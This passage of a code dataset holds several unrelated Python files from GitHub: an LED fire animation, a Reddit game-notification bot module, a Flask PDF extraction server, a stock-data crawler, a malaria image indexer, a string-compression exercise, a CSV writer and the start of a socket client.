values!\n return self.data[y * self.width + x]\n\n def set(self, x, y, value):\n x %= self.width\n y %= self.height\n self.data[y * self.width + x] = value\n\n\nclass FireTile(Tile):\n \"\"\"\n Defines a tile which displays a fire effect.\n\n :param size_divisor: (float) Affects the height of the fire.\n :param hue_offset: (int) Affects the color palette of the fire.\n :param base: ('bottom'|'top') Base of the fire.\n \"\"\"\n def __init__(self, size_divisor=10.0, hue_offset=0, base='bottom'):\n super(FireTile, self).__init__()\n\n self.size_divisor = size_divisor\n self.hue_offset = hue_offset\n self.base = base\n\n self.fire = None\n self.palette = []\n self.frame = 0\n\n for x in range(256):\n self.palette.append(\n PixelColor(\n *hsl2rgb(self.hue_offset + (x // 3), 255, min(255, x * 2)),\n normalized=False))\n\n def on_size_set(self):\n # When the size of the tile is set by the TileManager, we want to\n # initialize our FireMatrix.\n self.fire = FireMatrix(self.size.cols, self.size.rows + 1)\n\n def draw(self):\n # Set the base concealed row to random intensity values (0 to 255).\n # The concealed row is there to reduce the base intensity, resulting in\n # a more pleasing result (see the video linked to above).\n concealed_row = self.size.rows if self.base == 'bottom' else -1\n for x in range(self.size.cols):\n self.fire.set(x, concealed_row, int(random.random() * 255))\n\n if self.base == 'bottom':\n row_list = list(range(self.size.rows))\n row_index_direction = 1\n else:\n row_list = list(reversed(range(self.size.rows)))\n row_index_direction = -1\n\n # Perform a step of flame intensity calculation.\n for x in range(self.size.cols):\n for y in row_list:\n value = 0\n value += self.fire.get(x - 1, y + row_index_direction)\n value += self.fire.get(x, y + row_index_direction)\n value += self.fire.get(x + 1, y + row_index_direction)\n value += self.fire.get(x, y + (row_index_direction * 2))\n value = int(value / self.size_divisor)\n self.fire.set(x, y, value)\n\n # Convert the fire intensity values to neopixel colors and update the\n # pixels.\n for x in range(self.size.cols):\n for y in range(self.size.rows):\n self.set_pixel((x, y), self.palette[self.fire.get(x, y)])\n\n\n# -----------------------------------------------------------------------------\n\ndef main():\n # Initialize our matrix, animating at 10 frames per second.\n tiles = TileManager(\n NTNeoPixelMatrix(MATRIX_SIZE, LED_PIN, strip_type=STRIP_TYPE),\n draw_fps=10\n )\n #tiles = TileManager(NTRGBMatrix(chain_length=CHAIN), draw_fps=10)\n\n # Play with this number to set the fire height. 4.3 is pretty good for\n # an RGB matrix of 32 rows. 7.2 is pretty good for a neopixel matrix of\n # 8 rows.\n size_divisor = 7.2\n\n # Create two tiles based on our FireTile class. One will display a red\n # fire based at the bottom of the matrix and the other will display a\n # green fire based at the top of the matrix.\n red_fire = FireTile(size_divisor=size_divisor)\n grn_fire = FireTile(size_divisor=size_divisor, hue_offset=50, base='top')\n\n # Each fire will take half the width of the matrix, and the full height.\n fire_width = int(MATRIX_SIZE.cols // 2)\n fire_height = MATRIX_SIZE.rows\n\n tiles.register_tile(red_fire, size=(fire_width, fire_height), root=(0, 0))\n tiles.register_tile(grn_fire, size=(fire_width, fire_height),\n root=(fire_width, 0))\n\n # Kick off the matrix animation loop.\n tiles.draw_hardware_matrix()\n\n # Keep animating the fires until the user Ctrl-C's the process.\n try:\n while True:\n time.sleep(0.5)\n except KeyboardInterrupt:\n tiles.draw_stop()\n tiles.clear_hardware_matrix()\n\n\n# =============================================================================\n\nif __name__ == '__main__':\n main()\n","repo_name":"mjoblin/neotiles","sub_path":"examples/fire.py","file_name":"fire.py","file_ext":"py","file_size_in_byte":6857,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"10054736682","text":"from distutils.core import setup, Extension\nfrom Cython.Build import cythonize\n\next = Extension(\"rvimodule\", \n sources=[\"rvimodule.pyx\"],\n libraries=[\"rvi\"],\n extra_compile_args=[\"-fopenmp\", \"-O3\", \"-I../include\"],\n extra_link_args=[\"-L../src/.libs/\"]\n )\n\nsetup(\n name=\"rvimodule\",\n ext_modules=cythonize([ext])\n)\n","repo_name":"GENIVI/rvi_lib","sub_path":"python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"32187855024","text":"import re\n\nfrom praw.models import Submission\n\nfrom model import Database, MessageText, Notification, Post, Redis, User, Location\nfrom text import sort_days, parse_flair\n\n\ndef __build_user_search(post: Post) -> User:\n user_search = User()\n user_search.game = post.game\n user_search.timezone = post.timezone\n user_search.day = post.day\n user_search.online = post.online\n user_search.nsfw = int(post.nsfw)\n user_search.play_by_post = int(post.play_by_post)\n user_search.one_shot = int(post.one_shot)\n user_search.lgbtq = int(post.lgbtq)\n user_search.age_limit = post.age_limit\n user_search.vtt = post.vtt\n\n user_search.flair = parse_flair(post.flair)\n return user_search\n\n\ndef filter_user_list(users: list, submission: Submission) -> list:\n filtered_users = []\n for user in users:\n if user.username == submission.author.name:\n pass\n elif not user.keyword:\n filtered_users.append(user.username)\n elif re.search(rf\"{user.keyword}\", submission.title + submission.selftext, re.IGNORECASE):\n filtered_users.append(user.username)\n return filtered_users\n\n\ndef find_users_and_queue(db: Database, submission: Submission, post: Post) -> str:\n redis = Redis()\n\n user_search = __build_user_search(post)\n\n if not post.flair:\n return \"Missing flair\"\n if post.online == Location.NONE.value:\n return \"Missing online or offline\"\n if not post.game:\n return \"Missing or invalid game\"\n\n users = user_search.find_users(db)\n if not users:\n return None\n\n users = filter_user_list(users, submission)\n\n flags = post.flags_as_string_list()\n notification = Notification()\n notification.subject = MessageText.SUBMISSION_NOTIFICATION_SUBJECT\n notification.body = (\n f\"Title: {submission.title} \\n\"\n f\"Flair: {submission.link_flair_text} \\n\"\n f\"Timezone(s): {', '.join(post.timezone) if post.timezone else 'Unknown'} \\n\"\n f\"Day(s): {', '.join(sort_days(post.day)) if post.day else 'Unknown'} \\n\"\n f\"Time: {post.time if post.time else 'Unknown'} \\n\"\n f\"Notes: {', '.join(flags) if flags else 'None'} \\n\"\n f\"Link: https://www.reddit.com{post.permalink} \\n\"\n f\"{MessageText.SUBMISSION_NOTIFICATION_BODY}\"\n )\n notification.type = Notification.NotificationType.SUBMISSION\n\n for user in users:\n notification.username = user\n redis.append(notification)\n\n return \", \".join(users)\n","repo_name":"hunter-read/lfg-notify-bot","sub_path":"src/service/submission_queueing.py","file_name":"submission_queueing.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"4390960447","text":"import json\nimport argparse\nimport glob\nimport os\nimport time\nfrom datetime import timedelta\nfrom flask import Flask, Response, request\nimport shutil\nimport traceback\nfrom s3_communication import S3Communication\n\nfrom esg_data_pipeline.components import Extractor\nfrom esg_data_pipeline.config import config\nfrom esg_data_pipeline.components import Curator\n\napp = Flask(__name__)\n\n\ndef create_directory(directory_name):\n os.makedirs(directory_name, exist_ok=True)\n for filename in os.listdir(directory_name):\n file_path = os.path.join(directory_name, filename)\n try:\n os.unlink(file_path)\n except Exception as e:\n print('Failed to delete %s. Reason: %s' % (file_path, e))\n\n\n@app.route(\"/liveness\")\ndef liveness():\n return Response(response={}, status=200)\n\n\n@app.route('/extract/')\ndef run_extraction():\n args = json.loads(request.args['payload'])\n project_name = args[\"project_name\"]\n \n extraction_settings = args['extraction']\n \n BASE_DATA_PROJECT_FOLDER = config.DATA_FOLDER / project_name\n config.PDF_FOLDER = BASE_DATA_PROJECT_FOLDER / 'interim' / 'pdfs' \n BASE_INTERIM_FOLDER = BASE_DATA_PROJECT_FOLDER / 'interim' / 'ml'\n config.EXTRACTION_FOLDER = BASE_INTERIM_FOLDER / 'extraction'\n config.ANNOTATION_FOLDER = BASE_INTERIM_FOLDER / 'annotations'\n config.STAGE = 'extract'\n \n create_directory(config.EXTRACTION_FOLDER)\n create_directory(config.ANNOTATION_FOLDER)\n create_directory(config.PDF_FOLDER)\n \n s3_usage = args[\"s3_usage\"]\n if s3_usage:\n s3_settings = args[\"s3_settings\"]\n project_prefix = s3_settings['prefix'] + \"/\" + project_name + '/data'\n # init s3 connector\n s3c_main = S3Communication(\n s3_endpoint_url=os.getenv(s3_settings['main_bucket']['s3_endpoint']),\n aws_access_key_id=os.getenv(s3_settings['main_bucket']['s3_access_key']),\n aws_secret_access_key=os.getenv(s3_settings['main_bucket']['s3_secret_key']),\n s3_bucket=os.getenv(s3_settings['main_bucket']['s3_bucket_name']),\n )\n s3c_interim = S3Communication(\n s3_endpoint_url=os.getenv(s3_settings['interim_bucket']['s3_endpoint']),\n aws_access_key_id=os.getenv(s3_settings['interim_bucket']['s3_access_key']),\n aws_secret_access_key=os.getenv(s3_settings['interim_bucket']['s3_secret_key']),\n s3_bucket=os.getenv(s3_settings['interim_bucket']['s3_bucket_name']),\n )\n if extraction_settings['use_extractions']:\n s3c_main.download_files_in_prefix_to_dir(project_prefix + '/output/TEXT_EXTRACTION', \n config.EXTRACTION_FOLDER)\n s3c_interim.download_files_in_prefix_to_dir(project_prefix + '/interim/ml/annotations', \n config.ANNOTATION_FOLDER)\n if args['mode'] == 'train':\n s3c_main.download_files_in_prefix_to_dir(project_prefix + '/input/pdfs/training', \n config.PDF_FOLDER)\n else:\n s3c_main.download_files_in_prefix_to_dir(project_prefix + '/input/pdfs/inference', \n config.PDF_FOLDER)\n \n pdfs = glob.glob(os.path.join(config.PDF_FOLDER, \"*.pdf\"))\n if len(pdfs) == 0:\n msg = \"No pdf files found in the pdf directory ({})\".format(config.PDF_FOLDER)\n return Response(msg, status=500)\n \n annotation_files = glob.glob(os.path.join(config.ANNOTATION_FOLDER, \"*.csv\"))\n if len(annotation_files) == 0:\n msg = \"No annotations.csv file found on S3.\"\n return Response(msg, status=500)\n elif len(annotation_files) > 2:\n msg = \"Multiple annotations.csv files found on S3.\"\n return Response(msg, status=500)\n \n config.SEED = extraction_settings[\"seed\"]\n config.PDFTextExtractor_kwargs['min_paragraph_length'] = extraction_settings[\"min_paragraph_length\"]\n config.PDFTextExtractor_kwargs['annotation_folder'] = extraction_settings[\"annotation_folder\"]\n config.PDFTextExtractor_kwargs['skip_extracted_files'] = extraction_settings[\"skip_extracted_files\"]\n\n ext = Extractor(config.EXTRACTORS)\n\n try:\n t1 = time.time()\n ext.run_folder(config.PDF_FOLDER, config.EXTRACTION_FOLDER)\n t2 = time.time()\n except Exception as e:\n msg = \"Error during extraction\\nException:\" + str(e)\n return Response(msg, status=500)\n\n extracted_files = os.listdir(config.EXTRACTION_FOLDER)\n if len(extracted_files) == 0:\n msg = \"Extraction Failed. No file was found in the extraction directory ({})\"\\\n .format(config.EXTRACTION_FOLDER)\n return Response(msg, status=500)\n\n failed_to_extract = \"\"\n for pdf in pdfs:\n pdf = os.path.basename(pdf)\n pdf = pdf.split(\".pdf\")[0]\n if not any([pdf in e for e in extracted_files]):\n failed_to_extract += pdf + \"\\n\"\n\n msg = \"Extraction finished successfully.\"\n if len(failed_to_extract) > 0:\n msg += \"The following pdf files, however, did not get extracted:\\n\" + failed_to_extract\n \n if s3_usage:\n s3c_interim.upload_files_in_dir_to_prefix(config.EXTRACTION_FOLDER, \n project_prefix + '/interim/ml/extraction')\n # clear folder\n create_directory(config.EXTRACTION_FOLDER)\n create_directory(config.ANNOTATION_FOLDER)\n create_directory(config.PDF_FOLDER)\n time_elapsed = str(timedelta(seconds=t2 - t1))\n msg += \"\\nTime elapsed:{}\".format(time_elapsed)\n return Response(msg, status=200)\n\n\n@app.route('/curate/')\ndef run_curation():\n args = json.loads(request.args['payload'])\n project_name = args[\"project_name\"]\n curation_settings = args[\"curation\"]\n\n BASE_DATA_PROJECT_FOLDER = config.DATA_FOLDER / project_name\n BASE_INTERIM_FOLDER = BASE_DATA_PROJECT_FOLDER / 'interim' / 'ml'\n config.EXTRACTION_FOLDER = BASE_INTERIM_FOLDER / 'extraction'\n config.CURATION_FOLDER = BASE_INTERIM_FOLDER / 'curation'\n config.ANNOTATION_FOLDER = BASE_INTERIM_FOLDER / 'annotations'\n config.KPI_FOLDER = BASE_DATA_PROJECT_FOLDER / 'interim' / 'kpi_mapping'\n create_directory(config.EXTRACTION_FOLDER)\n create_directory(config.CURATION_FOLDER)\n create_directory(config.ANNOTATION_FOLDER)\n \n s3_usage = args[\"s3_usage\"]\n if s3_usage:\n s3_settings = args[\"s3_settings\"]\n project_prefix = s3_settings['prefix'] + \"/\" + project_name + '/data'\n # init s3 connector\n s3c_main = S3Communication(\n s3_endpoint_url=os.getenv(s3_settings['main_bucket']['s3_endpoint']),\n aws_access_key_id=os.getenv(s3_settings['main_bucket']['s3_access_key']),\n aws_secret_access_key=os.getenv(s3_settings['main_bucket']['s3_secret_key']),\n s3_bucket=os.getenv(s3_settings['main_bucket']['s3_bucket_name']),\n )\n s3c_interim = S3Communication(\n s3_endpoint_url=os.getenv(s3_settings['interim_bucket']['s3_endpoint']),\n aws_access_key_id=os.getenv(s3_settings['interim_bucket']['s3_access_key']),\n aws_secret_access_key=os.getenv(s3_settings['interim_bucket']['s3_secret_key']),\n s3_bucket=os.getenv(s3_settings['interim_bucket']['s3_bucket_name']),\n )\n s3c_main.download_files_in_prefix_to_dir(project_prefix + '/input/kpi_mapping', config.KPI_FOLDER)\n s3c_interim.download_files_in_prefix_to_dir(project_prefix + '/interim/ml/extraction', config.EXTRACTION_FOLDER)\n s3c_main.download_files_in_prefix_to_dir(project_prefix + '/input/annotations',\n config.ANNOTATION_FOLDER)\n\n shutil.copyfile(os.path.join(config.KPI_FOLDER, \"kpi_mapping.csv\"), \"/app/code/kpi_mapping.csv\")\n\n config.STAGE = 'curate'\n config.TextCurator_kwargs['retrieve_paragraph'] = curation_settings['retrieve_paragraph']\n config.TextCurator_kwargs['neg_pos_ratio'] = curation_settings['neg_pos_ratio']\n config.TextCurator_kwargs['columns_to_read'] = curation_settings['columns_to_read']\n config.TextCurator_kwargs['company_to_exclude'] = curation_settings['company_to_exclude']\n config.TextCurator_kwargs['min_length_neg_sample'] = curation_settings['min_length_neg_sample']\n config.SEED = curation_settings['seed']\n\n try:\n if len(config.CURATORS) != 0:\n cur = Curator(config.CURATORS)\n cur.run(config.EXTRACTION_FOLDER, config.ANNOTATION_FOLDER, config.CURATION_FOLDER)\n except Exception as e:\n msg = \"Error during curation\\nException:\" + str(repr(e)) + traceback.format_exc()\n return Response(msg, status=500)\n \n if s3_usage:\n s3c_interim.upload_files_in_dir_to_prefix(config.CURATION_FOLDER, \n project_prefix + '/interim/ml/curation')\n # clear folder\n create_directory(config.KPI_FOLDER)\n create_directory(config.EXTRACTION_FOLDER)\n create_directory(config.ANNOTATION_FOLDER)\n create_directory(config.CURATION_FOLDER)\n \n return Response(\"Curation OK\", status=200)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='inference server')\n # Add the arguments\n parser.add_argument('--port',\n type=int,\n default=4000,\n help='port to use for the extract server')\n args_server = parser.parse_args()\n port = args_server.port\n app.run(host=\"0.0.0.0\", port=port)\n","repo_name":"os-climate/corporate_data_extraction","sub_path":"data_extractor/code/esg_data_pipeline/esg_data_pipeline/extraction_server.py","file_name":"extraction_server.py","file_ext":"py","file_size_in_byte":9614,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"27870905371","text":"from name_yalsooni.crawler_py.ebest.xaquery.assistant.abstract import DBResponseAssistant, Assistant, ResponseAssistant\nfrom name_yalsooni.crawler_py.ebest.xaquery.command.abstract import CM\nfrom name_yalsooni.crawler_py.ebest.xaquery.command.t1717 import T1717Command\nfrom name_yalsooni.crawler_py.ebest.util import Log\n\n\nclass T1717Assistant(Assistant):\n\n def __init__(self):\n super(T1717Assistant, self).__init__(T1717Command.TR_NAME, 3)\n self._response_dict[CM.RES_TYPE_DB] = T1717DBInsert()\n self._response_dict[CM.RES_TYPE_SOCKET] = T1717Socket()\n\n def request_process(self, command):\n Log.write(command.get_tr_name() + \" - \" + command.get_hname() + \" Request\")\n self.tr.SetFieldData(\"t1717InBlock\", \"shcode\", 0, command.get_shcode())\n self.tr.SetFieldData(\"t1717InBlock\", \"gubun\", 0, \"0\")\n self.tr.SetFieldData(\"t1717InBlock\", \"fromdt\", 0, command.get_max_date())\n self.tr.SetFieldData(\"t1717InBlock\", \"todt\", 0, command.get_today())\n self.tr.Request(0)\n return True\n\n\nclass T1717DBInsert(DBResponseAssistant):\n\n T1717_INSERT = \"INSERT INTO COL_EB_T1717 ( REQDT, SHCODE, DATE, CLOSE, SIGN, CHANGE_, DIFF, VOLUME, TJJ0000_VOL, TJJ0001_VOL, TJJ0002_VOL, TJJ0003_VOL, TJJ0004_VOL, TJJ0005_VOL, TJJ0006_VOL, TJJ0007_VOL, TJJ0008_VOL, TJJ0009_VOL, TJJ0010_VOL, TJJ0011_VOL, TJJ0018_VOL, TJJ0016_VOL, TJJ0017_VOL, TJJ0000_DAN, TJJ0001_DAN, TJJ0002_DAN, TJJ0003_DAN, TJJ0004_DAN, TJJ0005_DAN, TJJ0006_DAN, TJJ0007_DAN, TJJ0008_DAN, TJJ0009_DAN, TJJ0010_DAN, TJJ0011_DAN, TJJ0018_DAN, TJJ0016_DAN, TJJ0017_DAN) VALUES ( %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s )\"\n\n def db_response_process(self, command, tr, request_date, curs):\n \n result_count = tr.GetBlockCount(\"t1717OutBlock\")\n for i in range(0, result_count):\n try:\n curs.execute(self.T1717_INSERT, (\n command.get_request_date(),\n command.get_shcode(),\n tr.GetFieldData(\"t1717OutBlock\", \"date\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"close\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"sign\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"change\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"diff\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"volume\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0000_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0001_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0002_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0003_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0004_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0005_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0006_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0007_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0008_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0009_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0010_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0011_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0018_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0016_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0017_vol\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0000_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0001_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0002_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0003_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0004_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0005_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0006_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0007_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0008_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0009_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0010_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0011_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0018_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0016_dan\", i),\n tr.GetFieldData(\"t1717OutBlock\", \"tjj0017_dan\", i)\n )\n )\n except Exception as ex:\n Log.write(str(ex))\n continue\n\n\nclass T1717Socket(ResponseAssistant):\n\n def response_process(self, command, tr):\n pass\n","repo_name":"malchooni/EBestAPI_Python","sub_path":"name_yalsooni/crawler_py/ebest/xaquery/assistant/t1717.py","file_name":"t1717.py","file_ext":"py","file_size_in_byte":5027,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"35467511096","text":"from pathlib import Path\nimport pickle\nfrom PIL import Image\nimport numpy as np\n\ndef create_datafile():\n image_index = []\n labels = []\n pathlist = Path('./cell_images').glob('**/*.png')\n for path in pathlist:\n image_index.append(str(path))\n if 'Parasitized' in str(path):\n labels.append(1)\n else:\n labels.append(0)\n with open('data.pickle', 'wb') as datafile: \n pickle.dump(image_index, datafile)\n pickle.dump(labels, datafile)\n\nif __name__ == '__main__':\n create_datafile()\n","repo_name":"Beondel/Malaria-CNN","sub_path":"datawrangler.py","file_name":"datawrangler.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17503002294","text":"# My turn\ndef solution(s):\n answer = []\n\n if len(s) == 1: # 문자열 하나 입력되면 1 리턴\n return(1)\n \n s_list = list(s) # 리스트로 만들기\n \n # 1~문자열 길이만큼(절반 이상 나눠봤자 같은 쌍이 없음)\n for k in range(1,len(s)//2+1): \n cnt = 1 # 다음 문자와 같을 때 증가할 변수\n arr=[] # 2개 이상 문자열을 나눌때 그 쌍을 담을 배열\n string = '' # 최종 압축 문자열(누적해서 결과까지)\n\n if k == 1: # k==1 (문자열 하나씩만 비교)\n for i in range(len(s_list)-1): # 이전 원소까지\n if s_list[i] == s_list[i+1]: # 현재 문자가 다음 문자와 같으면\n cnt += 1 # cnt 증가\n else: # 현재 문자가 다음 문자와 다를때\n if cnt != 1: # cnt가 세어졌다면\n string += str(cnt) + s_list[i] # cnt와 현재 문자를 합친 문자열을 누적\n cnt = 1 # cnt 초기화\n else: # cnt가 안 세어졌다면\n string += s_list[i] # 현재 문자 그대로 문자열 누적\n\n if i == len(s_list)-2: # 마지막 이전 문자\n if cnt == 1: # cnt가 세어지지 않았다면\n string += s_list[i+1] # 맨 마지막 문자 누적\n else: # cnt가 세어져다면\n string += str(cnt) + s_list[i] # cnt와 마지막 이전 문자 출력\n answer.append(len(string)) # 해당 문자열의 길이를 정답 배열에 추가\n else: # k != 1\n for i in range(len(s_list)): # 마지막 원소까지\n if i == 0: # 첫번째 문자면\n string += s_list[i] # 문자 누적\n continue\n \n if i % k == 0: # 만약 현재 인덱스가 k로 나눠떨어지면\n arr.append(string) # 이전까지 누적되었던 문자를 arr 배열에 추가\n string = '' # 문자 초기화\n string += s_list[i] # 현재문자 다시 string에 기록\n else: # 그렇지 않으면(k로 안나눠지면)\n string += s_list[i] # 현재 문자 누적\n\n if i == len(s_list)-1 and len(s_list) % i != 0: # 맨 마지막 원소 그리고 나머지 문자가 있을때\n arr.append(string) # 누적된 문자를 arr 배열 추가\n\n \n test = '' # 최종 압축 문자열\n for i in range(len(arr)-1): # 마지막 이전까지\n if arr[i] == arr[i+1]:# 현재 문자가 다음 문자와 같으면\n cnt += 1 # cnt 증가\n else:# 현재 문자가 다음 문자와 다를때\n if cnt != 1:# cnt가 세어졌다면\n test += str(cnt) + arr[i]# cnt와 현재 문자를 합친 문자열을 누적\n cnt = 1# cnt 초기화\n else:# cnt가 안 세어졌다면\n test += arr[i] # 현재 문자 그대로 문자열 누적\n \n if i == len(arr)-2:# 마지막 이전 문자\n if cnt == 1:# cnt가 세어지지 않았다면\n test += arr[i+1]# 맨 마지막 문자 누적\n else: # cnt가 세어져다면\n test += str(cnt) + arr[i]# cnt와 마지막 이전 문자 출력\n answer.append(len(test))# 해당 문자열의 길이를 정답 배열에 추가\n\n return min(answer)\n\nprint(solution(\"acacacacacacbacacacacacac\"))\n\n# Good explanation\ndef compress(text, tok_len):\n # 토큰만큼 나눠 문자열 분리 저장\n words = [text[i:i+tok_len] for i in range(0, len(text), tok_len)]\n res = [] # 현재 단어와, cnt 저장할 배열\n cur_word = words[0] # 현제 딘어: 0번째 \n cur_cnt = 1 # 현재 cnt = 1\n for a, b in zip(words, words[1:] + ['']): # zip을 사용하여 현재원소와 다음원소 비교\n if a == b: # 같으면 \n cur_cnt += 1 # cnt 증가\n else: # 다르면\n res.append([cur_word, cur_cnt]) # 현재 저장된 단어와 현재 저장된 cnt 추가\n cur_word = b # 현재 단어를 갱신\n cur_cnt = 1 # cnt 1로 갱신\n # 갯수가 한개인건 그대로 계산 , 2이상 cnt가 있는 문자와 그 카운트 숫자(1카운트)의 합\n return sum(len(word) + (len(str(cnt)) if cnt > 1 else 0) for word, cnt in res)\n\ndef solution(text): \n # 1~문자열 길이 절반만큼의 토큰을 부여하고 이들중 최소 문자열 길이 출력\n return min(compress(text, tok_len) for tok_len in list(range(1, int(len(text)/2) + 1)) + [len(text)])\n\na = [\n \"aabbaccc\",\n \"ababcdcdababcdcd\",\n \"abcabcdede\",\n \"abcabcabcabcdededededede\",\n \"xababcdcdababcdcd\",\n\n 'aaaaaa',\n]\n\nfor x in a:\n print(solution(x))","repo_name":"leesh125/Programmers_coding_test","sub_path":"lv2/Python3/ZipString.py","file_name":"ZipString.py","file_ext":"py","file_size_in_byte":5017,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7193160413","text":"import csv\nimport ntpath\n\n\nclass CsvRecordOfPopulation:\n\n def __init__(self, file_name):\n self._file_name = ntpath.basename(file_name)\n\n self._person_file = open(file_name + '_persons.csv', 'w', encoding='utf8')\n self._source_text_file = open(file_name + '_source_texts.csv', 'w', encoding='utf8')\n\n self._person_field_names = ['kairaId', 'firstNames', 'lastNames', 'formerSurname', 'sourceTextId']\n self._source_text_field_names = ['sourceTextId', 'sourceText']\n\n self._person_writer = csv.DictWriter(self._person_file, fieldnames=self._person_field_names)\n self._person_writer.writeheader()\n\n self._source_text_writer = csv.DictWriter(self._source_text_file, fieldnames=self._source_text_field_names)\n self._source_text_writer.writeheader()\n self._source_texts = {}\n\n self._source_text_id_counter = 0\n\n def _get_source_text_id(self):\n self._source_text_id_counter += 1\n return self._file_name + '_' + str(self._source_text_id_counter)\n\n def _add_source_text(self, text):\n if text in self._source_texts:\n return self._source_texts[text]\n else:\n text_id = self._get_source_text_id()\n self._source_texts[text] = text_id\n\n return text_id\n\n def add_primary_person(self, data_entry):\n source_text_id = self._add_source_text(data_entry['personMetadata']['sourceText'])\n\n self._person_writer.writerow({'kairaId': data_entry['primaryPerson']['kairaId'],\n 'firstNames': data_entry['primaryPerson']['name']['firstNames'],\n 'lastNames': data_entry['primaryPerson']['name']['surname'],\n 'formerSurname': data_entry['primaryPerson']['formerSurname'],\n 'sourceTextId': source_text_id})\n\n return source_text_id\n\n def add_child(self, data_entry, child):\n source_text_id = self._add_source_text(data_entry['personMetadata']['sourceText'])\n\n self._person_writer.writerow({'kairaId': child['kairaId'],\n 'firstNames': child['name'],\n 'lastNames': data_entry['primaryPerson']['name']['surname'],\n 'formerSurname': None,\n 'sourceTextId': source_text_id})\n\n return source_text_id\n\n def add_spouse(self, data_entry, spouse):\n source_text_id = self._add_source_text(data_entry['personMetadata']['sourceText'])\n\n self._person_writer.writerow({'kairaId': spouse['kairaId'],\n 'firstNames': spouse['firstNames'],\n 'lastNames': data_entry['primaryPerson']['name']['surname'],\n 'formerSurname': spouse['formerSurname'],\n 'sourceTextId': source_text_id})\n\n return source_text_id\n\n def save_to_file(self):\n self._source_texts = sorted([{'sourceTextId': text_id, 'sourceText': text} for text, text_id in self._source_texts.items()], key=lambda x: x['sourceTextId'])\n self._source_text_writer.writerows(self._source_texts)\n\n self._person_file.close()\n self._source_text_file.close()\n","repo_name":"Learning-from-our-past/karelian-db","sub_path":"db_management/csv_record.py","file_name":"csv_record.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35166214799","text":"data = []\nx = 0\nwhile True:\n user = input(\"Masukkan Angka : \")\n if user == 'n':\n break\n x += 1\n data.append(user)\n\nRatarata = 0\nfor nilai in data:\n Ratarata += int(nilai)\nRatarata /= x\nprint(Ratarata)\n","repo_name":"ShaneJohanes20/UAS-Pemrograman","sub_path":"UAS Pemrograman/soalNomor3.py","file_name":"soalNomor3.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2885464291","text":"#!/usr/bin/env python3\n\nimport socket, sys\nfrom constants import *\n\n# define host and port\nif len(sys.argv) != 3:\n print(\"Usage : python3 client.py <host> <port>\")\n exit()\nelse:\n host = sys.argv[1]\n port = int(sys.argv[2])\n\n# create socket\ntry:\n sc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sc.setsockopt(socket.SOL_SOCKET , socket.SO_REUSEADDR , 1)\nexcept socket.error as msg:\n print(\"Erreur de création de la socket : \" + str(msg))\n exit()\n# connect to server\ntry:\n sc.connect((host, port))\nexcept socket.error as msg:\n print(\"Erreur de connexion : \" + str(msg))\n exit()\n\nwhile True:\n \"\"\" Receive the message from the server \"\"\"\n # receive action from server\n action = sc.recv(1)\n # if action is empty, the server has closed the connection\n if action == b\"\":\n break\n # parse action to int and execute the corresponding action\n action = int(action.decode())\n\n if action == SHOW_GRID:\n grid = 